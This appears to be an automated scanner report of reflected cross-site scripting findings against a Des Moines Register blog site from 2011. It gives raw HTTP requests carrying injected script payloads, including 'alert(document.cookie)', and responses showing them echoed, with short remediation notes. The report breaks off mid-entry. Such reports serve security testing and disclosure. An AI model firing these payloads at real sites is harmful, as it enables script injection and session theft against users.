gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:14:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70733
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97cd6"><script>alert(1)</script>598fd489c24 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/remoting/remoting.js97cd6"><script>alert(1)</script>598fd489c24 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:14:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70809
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/remoting/remoting.js97cd6"><script>alert(1)</script>598fd489c24" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1dd8c"%3balert(1)//fdef64a1089 was submitted in the REST URL parameter 4. This input was echoed as 1dd8c";alert(1)//fdef64a1089 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/selector/selector.js1dd8c"%3balert(1)//fdef64a1089 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:14:48 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70733
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b11fe"><script>alert(1)</script>dbdd37a2e4b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/selector/selector.jsb11fe"><script>alert(1)</script>dbdd37a2e4b HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:14:45 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70809
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/selector/selector.jsb11fe"><script>alert(1)</script>dbdd37a2e4b" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60f8e"><script>alert(1)</script>917b1fb18f2 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/userauth/content/login.html60f8e"><script>alert(1)</script>917b1fb18f2 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:38:41 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69767
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/userauth/content/login.html60f8e"><script>alert(1)</script>917b1fb18f2" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 36671"%3balert(1)//1caaebcb5b0 was submitted in the REST URL parameter 5. This input was echoed as 36671";alert(1)//1caaebcb5b0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/userauth/content/login.html36671"%3balert(1)//1caaebcb5b0 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:38:44 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69691
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9fc42"%3balert(1)//d198b406e30 was submitted in the REST URL parameter 5. This input was echoed as 9fc42";alert(1)//d198b406e30 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/userauth/content/signup.html9fc42"%3balert(1)//d198b406e30 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:38:43 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69695
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d94d8"><script>alert(1)</script>8108b2c0f8b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/userauth/content/signup.htmld94d8"><script>alert(1)</script>8108b2c0f8b HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:38:40 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69771
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/userauth/content/signup.htmld94d8"><script>alert(1)</script>8108b2c0f8b" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4b534"%3balert(1)//0aefd2809ac was submitted in the REST URL parameter 4. This input was echoed as 4b534";alert(1)//0aefd2809ac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/userauth/userauth.js4b534"%3balert(1)//0aefd2809ac HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A15H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dblogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253E045c9ac9fe9_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D70722%253Bmisc%253D1297695939669%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297749939; GCIONSN=AAAAOn52dzoz
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:19:16 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70092
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17f6e"><script>alert(1)</script>6f26deb8d77 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/userauth/userauth.js17f6e"><script>alert(1)</script>6f26deb8d77 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A15H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dblogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253E045c9ac9fe9_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D70722%253Bmisc%253D1297695939669%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297749939; GCIONSN=AAAAOn52dzoz
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:19:13 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70168
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/userauth/userauth.js17f6e"><script>alert(1)</script>6f26deb8d77" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 76f2a"%3balert(1)//184bebdf0d1 was submitted in the REST URL parameter 4. This input was echoed as 76f2a";alert(1)//184bebdf0d1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/userauth/validateform.js76f2a"%3balert(1)//184bebdf0d1 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A15H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dblogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253E045c9ac9fe9_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D70722%253Bmisc%253D1297695939669%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297749939; GCIONSN=AAAAOn52dzoz
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:19:08 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70108
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38a1e"><script>alert(1)</script>726a351e1a7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/userauth/validateform.js38a1e"><script>alert(1)</script>726a351e1a7 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A15H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dblogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253E045c9ac9fe9_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D70722%253Bmisc%253D1297695939669%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297749939; GCIONSN=AAAAOn52dzoz
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:19:05 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70184
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/userauth/validateform.js38a1e"><script>alert(1)</script>726a351e1a7" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ac45"><script>alert(1)</script>65c04716d41 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/widgets/banner/banner.js2ac45"><script>alert(1)</script>65c04716d41 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:16:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70186
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/widgets/banner/banner.js2ac45"><script>alert(1)</script>65c04716d41" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ba91b"%3balert(1)//c80d36a0fe was submitted in the REST URL parameter 5. This input was echoed as ba91b";alert(1)//c80d36a0fe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/widgets/banner/banner.jsba91b"%3balert(1)//c80d36a0fe HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:16:38 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70106
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cfe39"><script>alert(1)</script>09dc2bac57f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
